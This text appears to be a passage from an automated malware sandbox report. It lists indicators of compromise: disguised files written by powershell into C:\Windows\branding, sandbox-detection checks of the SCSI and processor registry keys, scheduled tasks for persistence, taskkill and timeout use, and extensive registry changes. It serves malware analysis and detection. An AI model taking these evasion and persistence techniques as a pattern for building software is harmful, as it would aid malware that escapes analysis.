File opened for modification C:\Windows\branding\Basebrd powershell.exe File created C:\Windows\Installer\f74eb8e.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIF78C.tmp msiexec.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\Installer\MSIEECB.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF017.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE3D.tmp msiexec.exe File opened for modification C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Installer\MSIC25.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIDAF.tmp msiexec.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File created C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe msiexec.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Installer\f74eb8e.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIF95.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI994.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSID31.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 15 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 5032 4400 WerFault.exe Sun05fa3b4d2ae56e.exe 1308 4252 WerFault.exe 2292 4624 WerFault.exe setup.exe 4776 4400 WerFault.exe Sun05fa3b4d2ae56e.exe 1052 4400 WerFault.exe Sun05fa3b4d2ae56e.exe 868 4624 WerFault.exe setup.exe 5328 1932 WerFault.exe 7848959.exe 5336 4624 WerFault.exe setup.exe 5448 4400 WerFault.exe Sun05fa3b4d2ae56e.exe 5680 4624 WerFault.exe setup.exe 5936 4624 WerFault.exe setup.exe 5372 4400 WerFault.exe Sun05fa3b4d2ae56e.exe 5144 4624 WerFault.exe setup.exe 5464 4624 WerFault.exe setup.exe 4136 1708 WerFault.exe 1354845.exe -
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
dvebwecSun05532f7abc.exedvebwecdvebwecdescription ioc process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvebwec Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Sun05532f7abc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Sun05532f7abc.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Sun05532f7abc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvebwec Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvebwec Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvebwec Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvebwec Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvebwec Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvebwec Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvebwec Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvebwec -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
svchost.exeSun05ac1b0207d3ff3b8.exebuild2.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Sun05ac1b0207d3ff3b8.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Sun05ac1b0207d3ff3b8.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 build2.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString build2.exe -
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 6140 schtasks.exe 7800 schtasks.exe 4860 schtasks.exe 7244 schtasks.exe 7196 schtasks.exe -
Delays execution with timeout.exe 3 IoCs
Processes:
timeout.exetimeout.exetimeout.exepid process 6852 timeout.exe 5000 timeout.exe 5536 timeout.exe -
Kills process with taskkill 4 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 4452 taskkill.exe 5988 taskkill.exe 7684 taskkill.exe 1412 taskkill.exe -
Processes:
OneDriveSetup.exeMicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION OneDriveSetup.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
LzmwAqmV.exemsiexec.exesvchost.exesvchost.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time" LzmwAqmV.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates LzmwAqmV.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" LzmwAqmV.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" LzmwAqmV.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\16\52C64B7E msiexec.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time" LzmwAqmV.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time" LzmwAqmV.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" LzmwAqmV.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" LzmwAqmV.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time" LzmwAqmV.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" LzmwAqmV.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time" LzmwAqmV.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" LzmwAqmV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" LzmwAqmV.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs LzmwAqmV.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs LzmwAqmV.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 LzmwAqmV.exe -
Modifies registry class 64 IoCs
Processes:
OneDriveSetup.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exemsiexec.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeFileSyncConfig.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exedescription ioc process Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{10C9242E-D604-49B5-99E4-BF87945EF86C}\PROXYSTUBCLSID32 OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{b5c25645-7426-433f-8a5f-42b7ff27a7b2}\ProxyStubClsid32 OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{22A68885-0FD9-42F6-9DED-4FB174DC7344}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{C9F3F6BB-3172-4CD8-9EB7-37C9BE601C87}\1.0\0\win32 OneDriveSetup.exe Set value (data) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{0d4e4444-cb20-4c2b-b8b2-94e5656ecae8}\ = "IGetSyncStatusCallback" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B7216 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C414548CC3098124D97E31A29BF7FD26\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{0776ae27-5ab9-4e18-9063-1836da63117a}\TypeLib\Version = "1.0" OneDriveSetup.exe Set value (data) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{F062BA81-ADFE-4A92-886A-23FD851D6406}\TypeLib\Version = "1.0" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7} OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{8D3F8F15-1DE1-4662-BF93-762EABE988B2}\ = "IFileSyncClient10" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{AF60000F-661D-472A-9588-F062F6DB7A0E}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{2EB31403-EBE0-41EA-AE91-A1953104EA55}\ProxyStubClsid32 OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\InProcServer32 FileSyncConfig.exe Set value (int) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "928" MicrosoftEdgeCP.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{1196AE48-D92B-4BC7-85DE-664EC3F761F1}\TYPELIB OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{679EC955-75AA-4FB2-A7ED-8C0152ECF409}\TypeLib OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{917E8742-AA3B-7318-FA12-10485FB322A2}\VersionIndependentProgID OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "902" MicrosoftEdgeCP.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{C1439245-96B4-47FC-B391-679386C5D40F}\TYPELIB OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{AEEBAD4E-3E0A-415B-9B94-19C499CD7B6A}\PROXYSTUBCLSID32 OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{2692D1F2-2C7C-4AE0-8E73-8F37736C912D}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{53de12aa-df96-413d-a25e-c75b6528abf2}\TypeLib\Version = "1.0" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{fac14b75-7862-4ceb-be41-f53945a61c17}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\mcafee.com MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\FileSyncClient.AutoPlayHandler\CurVer\ = "FileSyncClient.AutoPlayHandler.1" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\NucleusNativeMessaging.NucleusNativeMessaging OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\mcafee.com\Total = "57" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaV = "404" MicrosoftEdgeCP.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E} OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{10C9242E-D604-49B5-99E4-BF87945EF86C}\TypeLib\Version = "1.0" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{b5c25645-7426-433f-8a5f-42b7ff27a7b2}\TypeLib\Version = "1.0" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{C9F3F6BB-3172-4CD8-9EB7-37C9BE601C87}\1.0\0\win64\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.160.0808.0002\\amd64\\FileSyncShell64.dll" OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\ShellFolder\Attributes = "4034920525" FileSyncConfig.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\www.mcafee.com MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaV = "Japanese Phone Converter" MicrosoftEdgeCP.exe Set value (str) 